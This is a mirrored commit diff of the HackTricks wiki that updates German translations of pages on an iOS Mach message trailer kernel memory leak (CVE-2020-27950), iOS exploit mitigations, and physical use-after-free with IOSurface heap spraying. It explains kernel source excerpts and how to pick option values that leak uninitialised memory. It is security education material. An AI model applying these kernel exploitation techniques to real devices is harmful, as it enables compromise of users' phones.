mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/blockchain/blockchain-and-crypto-currencies/README.md',
This commit is contained in:
Translator
parent
8daeabb02a
commit
a5c2611e67
@ -81,6 +81,7 @@
|
||||
- [Basic Python](generic-methodologies-and-resources/python/basic-python.md)
|
||||
- [Threat Modeling](generic-methodologies-and-resources/threat-modeling.md)
|
||||
- [Blockchain & Crypto](blockchain/blockchain-and-crypto-currencies/README.md)
|
||||
- [Defi/AMM Hook Precision](blockchain/blockchain-and-crypto-currencies/defi-amm-hook-precision.md)
|
||||
- [Lua Sandbox Escape](generic-methodologies-and-resources/lua/bypass-lua-sandboxes/README.md)
|
||||
|
||||
# 🧙♂️ Generic Hacking
|
||||
@ -769,7 +770,7 @@
|
||||
- [Stack Shellcode - arm64](binary-exploitation/stack-overflow/stack-shellcode/stack-shellcode-arm64.md)
|
||||
- [Stack Pivoting - EBP2Ret - EBP chaining](binary-exploitation/stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md)
|
||||
- [Uninitialized Variables](binary-exploitation/stack-overflow/uninitialized-variables.md)
|
||||
- [ROP & JOP](binary-exploitation/rop-return-oriented-programing/README.md)
|
||||
- [ROP and JOP](binary-exploitation/rop-return-oriented-programing/README.md)
|
||||
- [BROP - Blind Return Oriented Programming](binary-exploitation/rop-return-oriented-programing/brop-blind-return-oriented-programming.md)
|
||||
- [Ret2csu](binary-exploitation/rop-return-oriented-programing/ret2csu.md)
|
||||
- [Ret2dlresolve](binary-exploitation/rop-return-oriented-programing/ret2dlresolve.md)
|
||||
@ -846,7 +847,6 @@
|
||||
- [ios Heap Exploitation](binary-exploitation/ios-exploiting/ios-example-heap-exploit.md)
|
||||
- [ios Physical UAF - IOSurface](binary-exploitation/ios-exploiting/ios-physical-uaf-iosurface.md)
|
||||
|
||||
|
||||
# 🤖 AI
|
||||
- [AI Security](AI/README.md)
|
||||
- [Ai Assisted Fuzzing And Vulnerability Discovery](AI/AI-Assisted-Fuzzing-and-Vulnerability-Discovery.md)
|
||||
@ -895,7 +895,6 @@
|
||||
- [RC4 - Encrypt\&Decrypt](crypto-and-stego/rc4-encrypt-and-decrypt.md)
|
||||
- [Stego Tricks](crypto-and-stego/stego-tricks.md)
|
||||
- [Esoteric languages](crypto-and-stego/esoteric-languages.md)
|
||||
- [Blockchain & Crypto Currencies](crypto-and-stego/blockchain-and-crypto-currencies.md)
|
||||
|
||||
# ✍️ TODO
|
||||
|
||||
|
||||
@ -3,13 +3,13 @@
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
## Der Fehler
|
||||
## Die Schwachstelle
|
||||
|
||||
Eine gute Erklärung der Schwachstelle gibt es [hier](https://www.synacktiv.com/en/publications/ios-1-day-hunting-uncovering-and-exploiting-cve-2020-27950-kernel-memory-leak), aber zusammengefasst:
|
||||
Es gibt eine [great explanation of the vuln here](https://www.synacktiv.com/en/publications/ios-1-day-hunting-uncovering-and-exploiting-cve-2020-27950-kernel-memory-leak), aber als Zusammenfassung:
|
||||
|
||||
Jede Mach-Nachricht, die der Kernel empfängt, endet mit einem **"trailer"**: einer variablen Länge struct mit Metadaten (seqno, sender token, audit token, context, access control data, labels...). Der Kernel **reserviert im Nachrichtspuffer immer den größtmöglichen Trailer** (MAX_TRAILER_SIZE), initialisiert dabei jedoch **nur einige Felder** und entscheidet später **welche Trailer-Größe zurückgegeben wird** basierend auf **vom Benutzer kontrollierten receive-Optionen**.
|
||||
Jede Mach-Nachricht, die der Kernel empfängt, endet mit einem **"trailer"**: einer Struktur variabler Länge mit Metadaten (seqno, sender token, audit token, context, access control data, labels...). Der Kernel **reserviert immer den größtmöglichen trailer** (MAX_TRAILER_SIZE) im Nachrichtenpuffer, initialisiert jedoch **nur einige Felder**, und entscheidet später **welche trailer-Größe zurückgegeben wird** basierend auf **benutzerkontrollierten receive options**.
|
||||
|
||||
Das sind die für den Trailer relevanten structs:
|
||||
Das sind die für den trailer relevanten Strukturen:
|
||||
```c
|
||||
typedef struct{
|
||||
mach_msg_trailer_type_t msgh_trailer_type;
|
||||
@ -31,7 +31,7 @@ msg_labels_t msgh_labels;
|
||||
typedef mach_msg_mac_trailer_t mach_msg_max_trailer_t;
|
||||
#define MAX_TRAILER_SIZE ((mach_msg_size_t)sizeof(mach_msg_max_trailer_t))
|
||||
```
|
||||
Wenn das trailer object erzeugt wird, werden nur einige Felder initialisiert, und die maximale Trailer-Größe immer reserviert:
|
||||
Wenn das trailer-Objekt erzeugt wird, werden nur einige Felder initialisiert und die maximale Trailer-Größe immer reserviert:
|
||||
```c
|
||||
trailer = (mach_msg_max_trailer_t *) ((vm_offset_t)kmsg->ikm_header + size);
|
||||
trailer->msgh_sender = current_thread()->task->sec_token;
|
||||
@ -41,7 +41,7 @@ trailer->msgh_trailer_size = MACH_MSG_TRAILER_MINIMUM_SIZE;
|
||||
[...]
|
||||
trailer->msgh_labels.sender = 0;
|
||||
```
|
||||
Dann zum Beispiel, wenn versucht wird, eine Mach-Nachricht mit `mach_msg()` zu lesen, wird die Funktion `ipc_kmsg_add_trailer()` aufgerufen, um den Trailer an die Nachricht anzuhängen. Innerhalb dieser Funktion wird die Trailer-Größe berechnet und einige andere Trailer-Felder ausgefüllt:
|
||||
Wenn man beispielsweise versucht, eine mach message mit `mach_msg()` zu lesen, wird die Funktion `ipc_kmsg_add_trailer()` aufgerufen, um den Trailer an die Nachricht anzuhängen. Innerhalb dieser Funktion wird die Trailer-Größe berechnet und einige andere Trailer-Felder ausgefüllt:
|
||||
```c
|
||||
if (!(option & MACH_RCV_TRAILER_MASK)) { [3]
|
||||
return trailer->msgh_trailer_size;
|
||||
@ -51,9 +51,9 @@ trailer->msgh_seqno = seqno;
|
||||
trailer->msgh_context = context;
|
||||
trailer->msgh_trailer_size = REQUESTED_TRAILER_SIZE(thread_is_64bit_addr(thread), option);
|
||||
```
|
||||
Der `option`-Parameter wird vom Benutzer kontrolliert, daher **muss ein Wert übergeben werden, der die `if`-Prüfung besteht.**
|
||||
Der `option` Parameter ist vom Benutzer kontrolliert, daher **muss ein Wert übergeben werden, der die `if`-Prüfung besteht.**
|
||||
|
||||
Um diese Prüfung zu bestehen, müssen wir eine gültige unterstützte `option` senden:
|
||||
Um diese Prüfung zu bestehen, müssen wir ein gültiges unterstütztes `option` senden:
|
||||
```c
|
||||
#define MACH_RCV_TRAILER_NULL 0
|
||||
#define MACH_RCV_TRAILER_SEQNO 1
|
||||
@ -67,7 +67,7 @@ Um diese Prüfung zu bestehen, müssen wir eine gültige unterstützte `option`
|
||||
#define MACH_RCV_TRAILER_ELEMENTS(x) (((x) & 0xf) << 24)
|
||||
#define MACH_RCV_TRAILER_MASK ((0xf << 24))
|
||||
```
|
||||
Aber da das `MACH_RCV_TRAILER_MASK` nur Bits prüft, können wir jeden Wert zwischen `0` und `8` übergeben, um nicht in die `if`-Anweisung zu gelangen.
|
||||
Aber da `MACH_RCV_TRAILER_MASK` nur Bits prüft, können wir jeden Wert zwischen `0` und `8` übergeben, um nicht in die `if`-Anweisung zu gelangen.
|
||||
|
||||
Wenn man im Code weitermacht, findet man:
|
||||
```c
|
||||
@ -92,19 +92,19 @@ ipc_kmsg_munge_trailer(trailer, real_trailer_out, thread_is_64bit_addr(thread));
|
||||
|
||||
return trailer->msgh_trailer_size;
|
||||
```
|
||||
Wie du sehen kannst, wird das Feld **`msgh_ad`** auf `0` initialisiert, wenn `option` größer oder gleich `MACH_RCV_TRAILER_AV` (7) ist.
|
||||
Hier sieht man, dass wenn `option` größer oder gleich `MACH_RCV_TRAILER_AV` (7) ist, das Feld **`msgh_ad`** auf `0` initialisiert wird.
|
||||
|
||||
Wenn du aufgefallen bist, war **`msgh_ad`** immer noch das einzige Feld des trailer, das vorher nicht initialisiert wurde und daher einen leak aus zuvor verwendetem Speicher enthalten konnte.
|
||||
Wie du bemerkt hast, war **`msgh_ad`** weiterhin das einzige Feld des trailer, das zuvor nicht initialisiert wurde und daher einen leak aus zuvor verwendetem Speicher enthalten konnte.
|
||||
|
||||
Um seine Initialisierung zu vermeiden, übergibt man einen `option`-Wert von `5` oder `6`. Damit passiert die erste `if`-Prüfung und die `if`, die `msgh_ad` initialisiert, wird nicht betreten, da die Werte `5` und `6` keinem trailer-Typ zugeordnet sind.
|
||||
Um also die Initialisierung zu vermeiden, kann man einen `option`-Wert von `5` oder `6` übergeben; so passiert er die erste `if`-Prüfung und tritt nicht in das `if` ein, das `msgh_ad` initialisiert, weil die Werte `5` und `6` keinem Trailer-Typ zugeordnet sind.
|
||||
|
||||
### Basic PoC
|
||||
|
||||
Inside the [original post](https://www.synacktiv.com/en/publications/ios-1-day-hunting-uncovering-and-exploiting-cve-2020-27950-kernel-memory-leak), you have a PoC to just leak some random data.
|
||||
Im [original post](https://www.synacktiv.com/en/publications/ios-1-day-hunting-uncovering-and-exploiting-cve-2020-27950-kernel-memory-leak) gibt es ein PoC, das einfach einige zufällige Daten leakt.
|
||||
|
||||
### Leak Kernel Address PoC
|
||||
|
||||
Inside the [original post](https://www.synacktiv.com/en/publications/ios-1-day-hunting-uncovering-and-exploiting-cve-2020-27950-kernel-memory-leak), you have a PoC to leak a kernel address. For this, a message full of `mach_msg_port_descriptor_t` structs is sent in the message cause the field `name` of this structure in userland contains an unsigned int but in kernel the `name` field is a struct `ipc_port` pointer in kernel. Therefore, sending tens of these structs in the message in kernel will mean to **add several kernel addresses inside the message** so one of them can be a leak.
|
||||
Im [original post](https://www.synacktiv.com/en/publications/ios-1-day-hunting-uncovering-and-exploiting-cve-2020-27950-kernel-memory-leak) gibt es ein PoC, um eine Kernel-Adresse zu leaken. Dafür wird eine Nachricht, die voller `mach_msg_port_descriptor_t`-Structs ist, gesendet, weil das Feld `name` dieser Struktur in userland ein unsigned int enthält, während im kernel das Feld `name` ein Pointer auf eine `ipc_port`-Struktur ist. Deshalb bedeutet das Senden von Dutzenden dieser Structs in der Nachricht im kernel, dass **mehrere Kernel-Adressen innerhalb der Nachricht hinzugefügt** werden, so dass eine von ihnen leaked werden kann.
|
||||
|
||||
Kommentare wurden zur besseren Verständlichkeit hinzugefügt:
|
||||
```c
|
||||
@ -326,7 +326,7 @@ return 0;
|
||||
```
|
||||
## Referenzen
|
||||
|
||||
- [Synacktivs Blogbeitrag](https://www.synacktiv.com/en/publications/ios-1-day-hunting-uncovering-and-exploiting-cve-2020-27950-kernel-memory-leak)
|
||||
- [Blogbeitrag von Synacktiv](https://www.synacktiv.com/en/publications/ios-1-day-hunting-uncovering-and-exploiting-cve-2020-27950-kernel-memory-leak)
|
||||
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -3,109 +3,108 @@
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
## iOS Exploit-Schutzmaßnahmen
|
||||
|
||||
- **Code Signing** in iOS funktioniert, indem jedes ausführbare Stück Code (Apps, Libraries, Extensions usw.) kryptografisch mit einem von Apple ausgestellten Zertifikat signiert sein muss. Beim Laden von Code überprüft iOS die digitale Signatur gegen Apples vertrauenswürdige Root. Ist die Signatur ungültig, fehlt oder wurde verändert, verweigert das OS die Ausführung. Das verhindert, dass Angreifer bösartigen Code in legitime Apps injizieren oder unsignierte Binärdateien ausführen, und bricht damit die meisten Exploit-Ketten, die auf das Ausführen beliebigen oder manipulierten Codes angewiesen sind.
|
||||
- **CoreTrust** ist das iOS-Subsystem, das die Code-Signierung zur Laufzeit durchsetzt. Es validiert Signaturen direkt mit Apples Root-Zertifikat, ohne sich auf zwischengespeicherte Trust-Stores zu verlassen. Das bedeutet, dass nur Binärdateien, die von Apple signiert sind (oder gültige Entitlements haben), ausgeführt werden können. CoreTrust stellt sicher, dass selbst wenn ein Angreifer eine App nach der Installation manipuliert, Systembibliotheken ändert oder versucht, unsignierten Code zu laden, die Ausführung blockiert wird, sofern der Code nicht korrekt signiert ist. Diese strikte Durchsetzung schließt viele Post-Exploitation-Vektoren, die ältere iOS-Versionen durch schwächere oder umgehbare Signaturprüfungen erlaubten.
|
||||
- **Data Execution Prevention (DEP)** markiert Speicherbereiche als nicht ausführbar, sofern sie nicht explizit Code enthalten. Das verhindert, dass Angreifer Shellcode in Datenbereiche (wie Stack oder Heap) injizieren und ausführen; sie müssen auf kompliziertere Techniken wie ROP (Return-Oriented Programming) ausweichen.
|
||||
- **ASLR (Address Space Layout Randomization)** randomisiert die Speicheradressen von Code, Libraries, Stack und Heap bei jedem Start. Das macht es deutlich schwieriger für Angreifer, vorherzusagen, wo nützliche Instruktionen oder Gadgets liegen, und zerstört viele Exploit-Ketten, die auf feste Speicherlayouts angewiesen sind.
|
||||
- **KASLR (Kernel ASLR)** wendet dasselbe Randomisierungskonzept auf den iOS-Kernel an. Durch das Verschieben der Kernel-Basisadresse bei jedem Boot verhindert es, dass Angreifer verlässlich Kernel-Funktionen oder -Strukturen lokalisieren, und erhöht die Schwierigkeit von Kernel-Level-Exploits, die sonst vollständige Systemkontrolle erlangen würden.
|
||||
- **Kernel Patch Protection (KPP)**, auch bekannt als **AMCC (Apple Mobile File Integrity)** in iOS, überwacht dauerhaft die Kernel-Code-Seiten, um sicherzustellen, dass sie nicht modifiziert wurden. Wenn eine Manipulation erkannt wird — etwa ein Exploit, der versucht, Kernel-Funktionen zu patchen oder bösartigen Code einzufügen — panict das Gerät sofort und startet neu. Dieser Schutz macht persistente Kernel-Exploits deutlich schwerer, da Angreifer Kernel-Instruktionen nicht einfach hooken oder patchen können, ohne einen Systemabsturz auszulösen.
|
||||
- **Kernel Text Readonly Region (KTRR)** ist eine hardwarebasierte Sicherheitsfunktion, die auf iOS-Geräten eingeführt wurde. Sie nutzt den Speichercontroller der CPU, um den Code-(text)-Bereich des Kernels nach dem Boot dauerhaft als schreibgeschützt zu markieren. Einmal gesperrt, kann selbst der Kernel diesen Speicherbereich nicht mehr verändern. Das verhindert, dass Angreifer — und sogar privilegierter Code — Kernel-Instruktionen zur Laufzeit patchen, und schließt damit eine große Klasse von Exploits, die auf direkte Modifikation von Kernel-Code angewiesen waren.
|
||||
- **Pointer Authentication Codes (PAC)** verwenden kryptografische Signaturen, die in ungenutzte Bits von Pointern eingebettet sind, um deren Integrität vor der Nutzung zu verifizieren. Wenn ein Pointer (z. B. eine Rücksprungadresse oder ein Funktionspointer) erstellt wird, signiert die CPU ihn mit einem geheimen Schlüssel; vor dem Dereferenzieren prüft die CPU die Signatur. Wurde der Pointer manipuliert, schlägt die Prüfung fehl und die Ausführung stoppt. Das verhindert, dass Angreifer Pointer in Memory-Corruption-Exploits fälschen oder wiederverwenden und erschwert Techniken wie ROP oder JOP erheblich.
|
||||
- **Privilege Access Never (PAN)** ist eine Hardwarefunktion, die verhindert, dass der Kernel (privilegierter Modus) direkt auf User-Space-Speicher zugreift, es sei denn, er aktiviert den Zugriff explizit. Das stoppt Angreifer, die Kernel-Codeausführung erlangt haben, daran, User-Speicher einfach zu lesen oder zu schreiben, um Exploits zu eskalieren oder sensible Daten zu stehlen. Durch strikte Trennung reduziert PAN die Auswirkungen von Kernel-Exploits und blockiert viele gängige Privilege-Escalation-Techniken.
|
||||
- **Page Protection Layer (PPL)** ist ein iOS-Sicherheitsmechanismus, der kritische kernelverwaltete Speicherbereiche schützt, insbesondere solche, die mit Code-Signing und Entitlements zu tun haben. Er setzt strikte Schreibschutzmaßnahmen mithilfe der MMU (Memory Management Unit) und zusätzlicher Prüfungen durch und stellt sicher, dass selbst privilegierter Kernel-Code nicht beliebig sensible Seiten ändern kann. Das verhindert, dass Angreifer mit Kernel-Level-Ausführung sicherheitskritische Strukturen manipulieren, und macht Persistenz und Code-Signing-Bypasses deutlich schwieriger.
|
||||
## iOS Exploit Mitigations
|
||||
|
||||
- **Code Signing** in iOS funktioniert dadurch, dass jedes ausführbare Stück Code (apps, libraries, extensions, etc.) kryptografisch mit einem von Apple ausgestellten Zertifikat signiert sein muss. Beim Laden des Codes überprüft iOS die digitale Signatur gegen Apples vertrauenswürdige Root. Ist die Signatur ungültig, fehlt oder wurde verändert, verweigert das OS die Ausführung. Das verhindert, dass Angreifer bösartigen Code in legitime Apps injizieren oder unsignierte Binärdateien ausführen können und unterbindet damit die meisten Exploit-Ketten, die auf das Ausführen beliebigen oder manipulierten Codes angewiesen sind.
|
||||
- **CoreTrust** ist das iOS-Subsystem, das die Code-Signierung zur Laufzeit durchsetzt. Es verifiziert Signaturen direkt mit Apples Root-Zertifikat, ohne sich auf zwischengespeicherte Trust-Stores zu verlassen, was bedeutet, dass nur von Apple signierte Binärdateien (oder solche mit gültigen Entitlements) ausgeführt werden können. CoreTrust stellt sicher, dass selbst wenn ein Angreifer eine App nach der Installation manipuliert, Systembibliotheken verändert oder versucht, unsignierten Code zu laden, die Ausführung blockiert wird, sofern der Code nicht korrekt signiert ist. Diese strikte Durchsetzung schließt viele Post-Exploitation-Vektoren, die ältere iOS-Versionen durch schwächere oder umgehbare Signaturprüfungen zuließen.
|
||||
- **Data Execution Prevention (DEP)** kennzeichnet Speicherregionen als nicht-ausführbar, sofern sie nicht explizit Code enthalten. Das verhindert, dass Angreifer Shellcode in Datenregionen (z. B. Stack oder Heap) injizieren und ausführen, und zwingt sie, auf komplexere Techniken wie ROP zurückzugreifen.
|
||||
- **ASLR (Address Space Layout Randomization)** randomisiert die Speicheradressen von Code, Libraries, Stack und Heap bei jedem Systemstart. Das erschwert Angreifern erheblich, vorherzusagen, wo sich nützliche Instruktionen oder Gadgets befinden, und bricht viele Exploit-Ketten, die auf feste Speicherlayouts angewiesen sind.
|
||||
- **KASLR (Kernel ASLR)** wendet dasselbe Randomisierungsprinzip auf den iOS Kernel an. Durch Verschieben der Kernel-Basisadresse bei jedem Boot wird verhindert, dass Angreifer zuverlässig Kernel-Funktionen oder -Strukturen lokalisieren können, was die Schwierigkeit von Kernel-Level-Exploits erhöht, die ansonsten volle Systemkontrolle erlangen könnten.
|
||||
- **Kernel Patch Protection (KPP)**, auch bekannt als **AMCC (Apple Mobile File Integrity)** in iOS, überwacht kontinuierlich die Code-Seiten des Kernel, um sicherzustellen, dass sie nicht verändert wurden. Wenn eine Manipulation entdeckt wird — etwa ein Versuch, Kernel-Funktionen zu patchen oder bösartigen Code einzufügen — wird das Gerät sofort panicen und neu starten. Dieser Schutz erschwert persistente Kernel-Exploits, da Angreifer Kernel-Instruktionen nicht einfach hooken oder patchen können, ohne einen Systemabsturz auszulösen.
|
||||
- **Kernel Text Readonly Region (KTRR)** ist eine hardwarebasierte Sicherheitsfunktion auf iOS-Geräten. Sie verwendet den Memory-Controller der CPU, um den Kernel-Code-(text)-Bereich nach dem Boot dauerhaft als schreibgeschützt zu markieren. Einmal gesperrt, kann selbst der Kernel diesen Speicherbereich nicht mehr verändern. Das verhindert, dass Angreifer — und sogar privilegierter Code — Kernel-Instruktionen zur Laufzeit patchen, und schließt eine wichtige Klasse von Exploits, die direkt auf das Modifizieren von Kernel-Code angewiesen waren.
|
||||
- **Pointer Authentication Codes (PAC)** nutzen kryptografische Signaturen, die in ungenutzten Bits von Zeigern eingebettet sind, um deren Integrität vor der Nutzung zu überprüfen. Wenn ein Zeiger (z. B. eine Return-Adresse oder ein Function-Pointer) erstellt wird, signiert die CPU ihn mit einem geheimen Schlüssel; vor dem Dereferenzieren prüft die CPU die Signatur. Wurde der Zeiger manipuliert, schlägt die Prüfung fehl und die Ausführung stoppt. Das verhindert, dass Angreifer Zeiger in Speicher-Korruptions-Exploits fälschen oder wiederverwenden, und macht Techniken wie ROP oder JOP deutlich schwieriger durchführbar.
|
||||
- **Privilege Access never (PAN)** ist eine Hardware-Funktion, die verhindert, dass der Kernel (privilegierter Modus) direkt auf user-space Memory zugreift, es sei denn, er aktiviert den Zugriff explizit. Das stoppt Angreifer, die Kernel-Code-Ausführung erlangt haben, daran, einfach User-Memory zu lesen oder zu schreiben, um Exploits zu eskalieren oder sensible Daten zu stehlen. Durch die strikte Trennung reduziert PAN die Auswirkungen von Kernel-Exploits und blockiert viele gängige Privilege-Escalation-Techniken.
|
||||
- **Page Protection Layer (PPL)** ist ein iOS-Sicherheitsmechanismus, der kritische, vom Kernel verwaltete Speicherregionen schützt, insbesondere solche, die mit Code-Signing und Entitlements zusammenhängen. Er erzwingt strikte Schreibschutzregeln mittels MMU und zusätzlicher Prüfungen und stellt sicher, dass selbst privilegierter Kernel-Code sensitive Pages nicht beliebig modifizieren kann. Das verhindert, dass Angreifer mit Kernel-Level-Ausführung sicherheitskritische Strukturen manipulieren, wodurch Persistenz und Code-Signing-Bypässe deutlich erschwert werden.
|
||||
|
||||
## Physical use-after-free
|
||||
|
||||
This is a summary from the post from [https://alfiecg.uk/2024/09/24/Kernel-exploit.html](https://alfiecg.uk/2024/09/24/Kernel-exploit.html) moreover further information about exploit using this technique can be found in [https://github.com/felix-pb/kfd](https://github.com/felix-pb/kfd)
|
||||
Dies ist eine Zusammenfassung des Posts von [https://alfiecg.uk/2024/09/24/Kernel-exploit.html](https://alfiecg.uk/2024/09/24/Kernel-exploit.html). Weitere Informationen zu Exploits, die diese Technik verwenden, finden sich in [https://github.com/felix-pb/kfd](https://github.com/felix-pb/kfd)
|
||||
|
||||
### Speicherverwaltung in XNU <a href="#memory-management-in-xnu" id="memory-management-in-xnu"></a>
|
||||
### Memory management in XNU <a href="#memory-management-in-xnu" id="memory-management-in-xnu"></a>
|
||||
|
||||
Der **virtuelle Adressraum** für User-Prozesse auf iOS reicht von **0x0 bis 0x8000000000**. Diese Adressen bilden jedoch nicht direkt den physischen Speicher ab. Stattdessen verwendet der **Kernel** **Seitentabellen**, um virtuelle Adressen in tatsächliche **physische Adressen** zu übersetzen.
|
||||
Der **virtuelle Adressraum** für User-Prozesse auf iOS erstreckt sich von **0x0 bis 0x8000000000**. Diese Adressen werden jedoch nicht direkt auf physischen Speicher abgebildet. Stattdessen verwendet der **kernel** **page tables**, um virtuelle Adressen in tatsächliche **physische Adressen** zu übersetzen.
|
||||
|
||||
#### Ebenen der Seitentabellen in iOS
|
||||
#### Levels of Page Tables in iOS
|
||||
|
||||
Seitentabellen sind hierarchisch in drei Ebenen organisiert:
|
||||
Page tables sind hierarchisch in drei Ebenen organisiert:
|
||||
|
||||
1. **L1 Page Table (Level 1)**:
|
||||
* Jeder Eintrag repräsentiert einen großen Bereich des virtuellen Speichers.
|
||||
* Er deckt **0x1000000000 Bytes** (oder **256 GB**) virtuellen Speicher ab.
|
||||
* Er deckt **0x1000000000 bytes** (oder **256 GB**) virtuellen Speicher ab.
|
||||
2. **L2 Page Table (Level 2)**:
|
||||
* Ein Eintrag hier repräsentiert eine kleinere Region virtuellen Speichers, nämlich **0x2000000 Bytes** (32 MB).
|
||||
* Ein L1-Eintrag kann auf eine L2-Tabelle zeigen, wenn er den gesamten Bereich nicht selbst abbilden kann.
|
||||
* Ein Eintrag stellt einen kleineren Bereich virtuellen Speichers dar, speziell **0x2000000 bytes** (32 MB).
|
||||
* Ein L1-Eintrag kann auf eine L2-Tabelle zeigen, wenn er die gesamte Region nicht selbst abbilden kann.
|
||||
3. **L3 Page Table (Level 3)**:
|
||||
* Dies ist die feinste Ebene, in der jeder Eintrag eine einzelne **4 KB**-Speicherseite abbildet.
|
||||
* Ein L2-Eintrag kann auf eine L3-Tabelle zeigen, wenn eine feinere Kontrolle erforderlich ist.
|
||||
* Dies ist die feinste Ebene, in der jeder Eintrag eine einzelne **4 KB**-Speicherseite mappt.
|
||||
* Ein L2-Eintrag kann auf eine L3-Tabelle zeigen, wenn eine granulare Kontrolle erforderlich ist.
|
||||
|
||||
#### Abbildung von Virtuell zu Physisch
|
||||
#### Mapping Virtual to Physical Memory
|
||||
|
||||
* **Direkte Abbildung (Block Mapping)**:
|
||||
* Einige Einträge in einer Seitentabelle bilden direkt einen Bereich virtueller Adressen auf einen zusammenhängenden Bereich physischer Adressen ab (wie eine Abkürzung).
|
||||
* **Pointer auf Kind-Seitentabelle**:
|
||||
* Wenn eine feinere Steuerung nötig ist, kann ein Eintrag auf einer Ebene (z. B. L1) auf eine **Kind-Seitentabelle** der nächsten Ebene (z. B. L2) zeigen.
|
||||
* **Direct Mapping (Block Mapping)**:
|
||||
* Einige Einträge in einem page table mappen direkt einen Bereich virtueller Adressen auf einen zusammenhängenden Bereich physischer Adressen (wie eine Abkürzung).
|
||||
* **Pointer to Child Page Table**:
|
||||
* Wenn feinere Kontrolle nötig ist, kann ein Eintrag auf einer Ebene (z. B. L1) auf eine **child page table** der nächsten Ebene (z. B. L2) zeigen.
|
||||
|
||||
#### Beispiel: Abbildung einer virtuellen Adresse
|
||||
#### Example: Mapping a Virtual Address
|
||||
|
||||
Angenommen, Sie greifen auf die virtuelle Adresse **0x1000000000** zu:
|
||||
|
||||
1. **L1-Tabelle**:
|
||||
* Der Kernel prüft den L1-Seitentabelleneintrag, der dieser virtuellen Adresse entspricht. Wenn er einen **Pointer zu einer L2-Seitentabelle** enthält, geht er zu dieser L2-Tabelle.
|
||||
2. **L2-Tabelle**:
|
||||
* Der Kernel prüft die L2-Seitentabelle für eine detailliertere Abbildung. Wenn dieser Eintrag auf eine **L3-Seitentabelle** zeigt, fährt er dort fort.
|
||||
3. **L3-Tabelle**:
|
||||
* Der Kernel sucht den finalen L3-Eintrag, der auf die **physische Adresse** der tatsächlichen Speicherseite zeigt.
|
||||
1. **L1 Table**:
|
||||
* Der Kernel prüft den L1-Page-Table-Eintrag, der dieser virtuellen Adresse entspricht. Enthält er einen **Pointer to an L2 page table**, geht er zu dieser L2-Tabelle.
|
||||
2. **L2 Table**:
|
||||
* Der Kernel prüft die L2-Page-Table für eine detailliertere Abbildung. Zeigt dieser Eintrag auf eine **L3 page table**, geht er dorthin.
|
||||
3. **L3 Table**:
|
||||
* Der Kernel sieht den finalen L3-Eintrag nach, der auf die **physische Adresse** der tatsächlichen Memory-Page zeigt.
|
||||
|
||||
#### Beispiel für Adressabbildung
|
||||
#### Example of Address Mapping
|
||||
|
||||
Wenn Sie die physische Adresse **0x800004000** in den ersten Index der L2-Tabelle schreiben, dann:
|
||||
|
||||
* Virtuelle Adressen von **0x1000000000** bis **0x1002000000** werden auf physische Adressen von **0x800004000** bis **0x802004000** abgebildet.
|
||||
* Dies ist eine **Block-Abbildung** auf L2-Ebene.
|
||||
* Dies ist ein **block mapping** auf L2-Ebene.
|
||||
|
||||
Alternativ, wenn der L2-Eintrag auf eine L3-Tabelle zeigt:
|
||||
|
||||
* Würde jede 4 KB-Seite im virtuellen Adressbereich **0x1000000000 -> 0x1002000000** durch einzelne Einträge in der L3-Tabelle abgebildet werden.
|
||||
* Jede 4 KB-Page im virtuellen Adressbereich **0x1000000000 -> 0x1002000000** würde von einzelnen Einträgen in der L3-Tabelle gemappt werden.
|
||||
|
||||
### Physical use-after-free
|
||||
|
||||
Ein **physical use-after-free** (UAF) tritt auf, wenn:
|
||||
Ein **physical use-after-free (UAF)** tritt auf, wenn:
|
||||
|
||||
1. Ein Prozess etwas Speicher als **lesbar und beschreibbar** **allociert**.
|
||||
2. Die **Seitentabellen** werden aktualisiert, um diesen Speicher auf eine bestimmte physische Adresse abzubilden, auf die der Prozess zugreifen kann.
|
||||
3. Der Prozess **deallociert** (freigibt) den Speicher.
|
||||
4. Aufgrund eines **Bugs** vergisst der Kernel jedoch, die Abbildung aus den Seitentabellen zu entfernen, obwohl er den entsprechenden physischen Speicher als frei markiert.
|
||||
5. Der Kernel kann diesen „freigegebenen“ physischen Speicher dann **wiederverwenden** (reallocieren) für andere Zwecke, z. B. **Kernel-Daten**.
|
||||
6. Da die Abbildung nicht entfernt wurde, kann der Prozess weiterhin **lesen und schreiben** auf diesen physischen Speicher.
|
||||
1. Ein Prozess **alloziert** Memory als **readable and writable**.
|
||||
2. Die **page tables** werden aktualisiert, um diesen Memory-Bereich auf eine bestimmte physische Adresse zu mappen, auf die der Prozess zugreifen kann.
|
||||
3. Der Prozess **dealloziert** (freeed) den Memory-Bereich.
|
||||
4. Aufgrund eines **Bugs** vergisst der **kernel**, die Mapping-Einträge aus den page tables zu entfernen, obwohl der entsprechende physische Speicher als frei markiert wird.
|
||||
5. Der Kernel kann dann diesen "freigegebenen" physischen Speicher für andere Zwecke **reallozieren**, z. B. für **kernel data**.
|
||||
6. Da das Mapping nicht entfernt wurde, kann der Prozess weiterhin auf diesen physischen Speicher **read and write** zugreifen.
|
||||
|
||||
Das bedeutet, dass der Prozess **auf Kernel-Speicherseiten** zugreifen kann, die sensible Daten oder Strukturen enthalten können, und einem Angreifer potenziell erlauben, **Kernel-Speicher zu manipulieren**.
|
||||
Das bedeutet, dass der Prozess auf **Pages von kernel memory** zugreifen kann, die sensible Daten oder Strukturen enthalten könnten und es einem Angreifer ermöglichen, **kernel memory zu manipulieren**.
|
||||
|
||||
### IOSurface Heap Spray
|
||||
|
||||
Da der Angreifer nicht kontrollieren kann, welche spezifischen Kernel-Seiten dem freigegebenen Speicher zugewiesen werden, benutzt er eine Technik namens **heap spray**:
|
||||
Da der Angreifer nicht kontrollieren kann, welche spezifischen Kernel-Pages für den freigegebenen Speicher verwendet werden, verwendet er eine Technik namens **heap spray**:
|
||||
|
||||
1. Der Angreifer **erstellt eine große Anzahl von IOSurface-Objekten** im Kernel-Speicher.
|
||||
2. Jedes IOSurface-Objekt enthält einen **magic value** in einem seiner Felder, was es leicht identifizierbar macht.
|
||||
3. Sie **scannen die freigegebenen Seiten**, um zu prüfen, ob eines dieser IOSurface-Objekte auf einer freigegebenen Seite gelandet ist.
|
||||
4. Wenn sie ein IOSurface-Objekt auf einer freigegebenen Seite finden, können sie es verwenden, um **Kernel-Speicher zu lesen und zu schreiben**.
|
||||
